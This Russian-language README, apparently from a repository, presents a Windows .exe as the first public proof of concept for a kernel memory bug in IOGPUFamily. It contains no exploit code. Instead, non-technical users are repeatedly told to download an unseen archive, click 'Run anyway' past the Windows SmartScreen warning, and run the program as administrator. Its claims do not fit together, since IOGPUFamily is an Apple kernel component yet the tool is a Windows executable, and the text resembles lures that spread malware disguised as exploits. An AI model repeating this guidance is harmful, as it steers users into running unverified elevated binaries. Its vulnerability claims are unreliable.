🔧 CVE_2025_24257----NOT-MINE - Запуск Windows PoC безопасно

🧾 Обзор

CVE_2025_24257----NOT-MINE — это proof of concept для Windows, который демонстрирует ошибку памяти ядра в IOGPUFamily. Он основан на переполнении bitmap_mask, которое может привести к выходу за границы кучи ядра. Этот проект является первым публичным PoC, связанным с данной проблемой.

Этот репозиторий предназначен для пользователей, которые хотят скачать пакет, открыть его в Windows и запустить образец с минимальной настройкой. Цель этого README — упростить процесс для нетехнических пользователей.

📥 Загрузка

Используйте эту ссылку, чтобы перейти на страницу проекта и скачать файлы:

Перейти на страницу загрузки

Если на странице отображается релиз, ресурс, ZIP-файл или архив исходников, скачайте этот файл на ваш Windows-ПК. Сохраните его в папке, которую вы сможете снова найти, например, «Загрузки» или «Рабочий стол».

🖥️ Что вам нужно

Перед началом убедитесь, что у вас есть:

• ПК с Windows
• Подключение к интернету
• Достаточно свободного места для сохранения загрузки
• Разрешение на запуск файлов на вашем компьютере

Этот проект создан для обычного использования в Windows. Стандартного ноутбука или настольного ПК достаточно для основных шагов.

🚀 Начало работы

Выполните следующие шаги по порядку:

1. Откройте страницу загрузки.
2. Скачайте файл проекта на ваш ПК.
3. Если файл находится в ZIP-папке, щелкните по нему правой кнопкой мыши и выберите «Извлечь все».
4. Откройте извлеченную папку.
5. Найдите основной файл программы, например файл .exe.
6. Дважды щелкните файл, чтобы запустить его.

Если Windows показывает запрос безопасности, выберите вариант, который позволяет запустить файл. Возможно, сначала потребуется нажать «Дополнительные сведения», а затем «Все равно выполнить».

🗂️ Структура файлов

После извлечения загрузки вы можете увидеть файлы, похожие на эти:

• README.md — это руководство
• файл exe или app — основная программа
• папка docs — дополнительные заметки или справка по использованию
• папка samples — тестовые данные или примеры ввода
• папка assets — вспомогательные файлы

Основной файл — это тот, который следует открыть первым. Если в папке содержится несколько исполняемых файлов, начните с того, у которого наиболее понятное имя, например run.exe, main.exe или файл с именем проекта.

🛠️ Как запустить

Используйте этот простой алгоритм:

1. Скачайте проект по ссылке выше.
2. При необходимости извлеките ZIP-файл.
3. Откройте папку.
4. Дважды щелкните основной файл .exe.
5. Следуйте любым инструкциям на экране.

Если программа открывает окно консоли, оставьте его открытым, пока задача не будет выполнена. Если оно сразу закрывается, запустите программу снова и следите за любым появляющимся сообщением.

⚙️ Основные советы по настройке

Чтобы всё работало гладко:

• Разместите файлы по короткому пути, например C:\CVE_2025_24257
• Избегайте пробелов и специальных символов в имени папки
• Закройте другие приложения, если программе требуется полноэкранный режим или низкоуровневый доступ
• Сохраняйте исходные имена файлов без изменений
• Используйте последние обновления Windows, доступные в вашей системе

Если приложение запрашивает дополнительные файлы, поместите их в ту же папку, что и основной исполняемый файл.

📌 Типичный порядок использования

Простой порядок использования выглядит так:

1. Скачайте пакет.
2. Извлеките его.
3. Откройте основную программу.
4. Прочитайте любые подсказки на экране.
5. Введите необходимые данные, если приложение запрашивает их.
6. Дождитесь результата.

Если проект включает текстовый файл с шагами использования, прочитайте этот файл перед запуском приложения. В нём может быть указан точный порядок запуска или ввода.

🧩 Устранение неполадок

Если приложение не запускается, попробуйте следующие шаги:

• Щелкните файл правой кнопкой мыши и выберите «Запуск от имени администратора»
• Убедитесь, что вы сначала извлекли ZIP
• Проверьте, не заблокировала ли Windows файл
• Переместите папку по простому пути, например C:\Temp\CVE_2025_24257
• Убедитесь, что все файлы остаются вместе в одной папке

Если вы видите сообщение об отсутствующем файле, вероятно, приложению требуется один из вспомогательных файлов в той же папке. Проверьте извлеченную папку ещё раз и держите полный набор файлов вместе.

🔐 Запрос безопасности Windows

Windows может показывать предупреждение перед запуском файла. Это может происходить с новыми или неподписанными инструментами.

Если это произошло:

1. Нажмите «Дополнительные сведения»
2. Проверьте имя файла
3. Нажмите «Все равно выполнить», если хотите продолжить

Запускайте только файлы, полученные из источника, которому вы доверяете.

🧪 Пример структуры папок

Простая структура папок может выглядеть так:

• C:\CVE_2025_24257
  • main.exe
  • README.md
  • support.dll
  • samples
  • docs

Сохраняйте папку в целости после загрузки и извлечения. Не перемещайте только один файл из папки, если только инструкции не говорят об этом.

📄 Примечания для новых пользователей

Если вы новичок в такого рода инструментах, помните следующее:

• Начните с основного файла в папке
• Не переименовывайте файлы, если приложение не просит об этом
• Не удаляйте дополнительные файлы
• Не запускайте неизвестные файлы из других папок
• Прочитайте любой включенный текстовый файл для точного порядка запуска

Этот проект предназначен для открытия и запуска в Windows с помощью простой загрузки и запуска.

🧭 Быстрые шаги запуска

• Перейдите на страницу загрузки
• Скачайте архив проекта или файл релиза
• При необходимости извлеките его
• Откройте папку
• Дважды щелкните основной файл .exe
• Следуйте инструкциям на экране